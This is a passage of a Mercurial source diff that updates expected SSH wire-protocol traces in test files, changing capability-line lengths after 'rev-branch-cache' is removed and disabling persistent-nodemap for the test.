$USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1180,8 +1187,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending unbundle command @@ -1255,8 +1262,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1314,8 +1321,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending unbundle command @@ -1382,8 +1389,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1441,8 +1448,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending unbundle command @@ -1511,8 +1518,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1572,8 +1579,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending unbundle command @@ -1650,8 +1657,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1715,8 +1722,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending unbundle command @@ -1788,8 +1795,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1843,8 +1850,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending unbundle command @@ -1918,8 +1925,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1977,8 +1984,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending unbundle command diff -r bc268ea9f984 -r f67b8946bb1b tests/test-ssh-proto.t --- a/tests/test-ssh-proto.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-ssh-proto.t Tue Apr 20 11:01:06 2021 -0400 @@ -1,5 +1,12 @@ #require no-chg +persistent-nodemap is not enabled by default. It is not relevant for this test so disable it. + + $ cat << EOF >> $HGRCPATH + > [format] + > use-persistent-nodemap = no + > EOF + $ cat > hgrc-sshv2 << EOF > %include $HGRCPATH > [experimental] @@ -64,7 +71,7 @@ devel-peer-request: pairs: 81 bytes sending hello command sending between command - remote: 463 + remote: 444 remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash remote: 1 devel-peer-request: protocaps @@ -86,8 +93,8 @@ i> write(6) -> 6: i> hello\n o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n `hg debugserve --sshstdio` works @@ -96,7 +103,7 @@ $ hg debugserve --sshstdio << EOF > hello > EOF - 463 + 444 capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash I/O logging works @@ -106,24 +113,24 @@ > EOF e> flush() -> None o> write(4) -> 4: - o> 463\n - o> write(463) -> 463: + o> 444\n + o> write(444) -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n - 463 + 444 capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> flush() -> None $ hg debugserve --sshstdio --logiofile $TESTTMP/io << EOF > hello > EOF - 463 + 444 capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash $ cat $TESTTMP/io e> flush() -> None o> write(4) -> 4: - o> 463\n - o> write(463) -> 463: + o> 444\n + o> write(444) -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> flush() -> None @@ -149,8 +156,8 @@ i> write(6) -> 6: i> hello\n o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n i> write(98) -> 98: i> between\n @@ -187,7 +194,7 @@ remote: banner: line 7 remote: banner: line 8 remote: banner: line 9 - remote: 463 + remote: 444 remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash remote: 1 devel-peer-request: protocaps @@ -245,8 +252,8 @@ o> readline() -> 15: o> banner: line 9\n o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n i> write(98) -> 98: i> between\n @@ -297,12 +304,12 @@ i> write(6) -> 6: i> hello\n o> readline() -> 4: - o> 463\n + o> 444\n i> write(98) -> 98: i> between\n i> pairs 81\n i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 - o> readline() -> 463: + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -316,7 +323,7 @@ sending hello command sending between command remote: 0 - remote: 463 + remote: 444 remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash remote: 1 devel-peer-request: protocaps @@ -365,8 +372,8 @@ i> write(6) -> 6: i> hello\n o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n i> write(98) -> 98: i> between\n @@ -390,7 +397,7 @@ remote: 0 remote: 0 remote: 0 - remote: 463 + remote: 444 remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash remote: 1 devel-peer-request: protocaps @@ -447,8 +454,8 @@ i> write(6) -> 6: i> hello\n o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n i> write(98) -> 98: i> between\n @@ -494,8 +501,8 @@ i> write(6) -> 6: i> hello\n o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n i> write(98) -> 98: i> between\n @@ -539,8 +546,8 @@ i> write(6) -> 6: i> hello\n o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n i> write(98) -> 98: i> between\n @@ -609,8 +616,8 @@ i> write(6) -> 6: i> hello\n o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n Incomplete dictionary send @@ -691,8 +698,8 @@ i> write(6) -> 6: i> hello\n o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n i> write(98) -> 98: i> between\n @@ -725,8 +732,8 @@ i> write(6) -> 6: i> hello\n o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n i> write(98) -> 98: i> between\n @@ -768,8 +775,8 @@ i> write(6) -> 6: i> hello\n o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n i> write(98) -> 98: i> between\n @@ -797,8 +804,8 @@ i> write(6) -> 6: i> hello\n o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n i> write(105) -> 105: i> between\n @@ -838,8 +845,8 @@ i> pairs 81\n i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -887,8 +894,8 @@ o> readline() -> 41: o> 68986213bd4485ea51533535e3fc9e78007a711f\n o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -914,7 +921,7 @@ o> readline() -> 41: o> 68986213bd4485ea51533535e3fc9e78007a711f\n o> readline() -> 4: - o> 463\n + o> 444\n Send an upgrade request to a server that doesn't support that command @@ -943,8 +950,8 @@ i> pairs 81\n i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -962,7 +969,7 @@ sending hello command sending between command remote: 0 - remote: 463 + remote: 444 remote: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash remote: 1 devel-peer-request: protocaps @@ -1005,8 +1012,8 @@ o> readline() -> 44: o> upgraded this-is-some-token exp-ssh-v2-0003\n o> readline() -> 4: - o> 462\n - o> readline() -> 463: + o> 443\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n $ cd .. @@ -1081,7 +1088,6 @@ remote-changegroup http https - rev-branch-cache stream v2 @@ -1114,14 +1120,14 @@ o> readline() -> 44: o> upgraded this-is-some-token exp-ssh-v2-0003\n o> readline() -> 4: - o> 462\n - o> readline() -> 463: + o> 443\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n i> write(6) -> 6: i> hello\n o> readline() -> 4: - o> 447\n - o> readline() -> 447: + o> 428\n + o> readline() -> 428: o> capabilities: branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n Multiple upgrades is not allowed @@ -1152,8 +1158,8 @@ o> readline() -> 44: o> upgraded this-is-some-token exp-ssh-v2-0003\n o> readline() -> 4: - o> 462\n - o> readline() -> 463: + o> 443\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n i> write(45) -> 45: i> upgrade another-token proto=irrelevant\n @@ -1224,8 +1230,8 @@ i> write(6) -> 6: i> hello\n o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n i> write(98) -> 98: i> between\n @@ -1343,8 +1349,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1381,8 +1387,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending listkeys command @@ -1431,8 +1437,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1461,8 +1467,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending listkeys command @@ -1492,8 +1498,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1525,8 +1531,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending listkeys command @@ -1559,8 +1565,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1595,8 +1601,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending listkeys command @@ -1634,8 +1640,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1674,8 +1680,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending pushkey command @@ -1726,8 +1732,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1759,8 +1765,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending listkeys command @@ -1809,8 +1815,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1847,8 +1853,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash o> read(1) -> 1: o> \n sending listkeys command @@ -1886,8 +1892,8 @@ i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 i> flush() -> None o> readline() -> 4: - o> 463\n - o> readline() -> 463: + o> 444\n + o> readline() -> 444: o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n o> readline() -> 2: o> 1\n @@ -1922,8 +1928,8 @@ o> readline() -> 62: o> upgraded * exp-ssh-v2-0003\n (glob) o> readline() -> 4: - o> 462\n - o> read(462) -> 462: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + o> 443\n + o> read(443) -> 443: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset getbundle known lookup protocaps pushkey 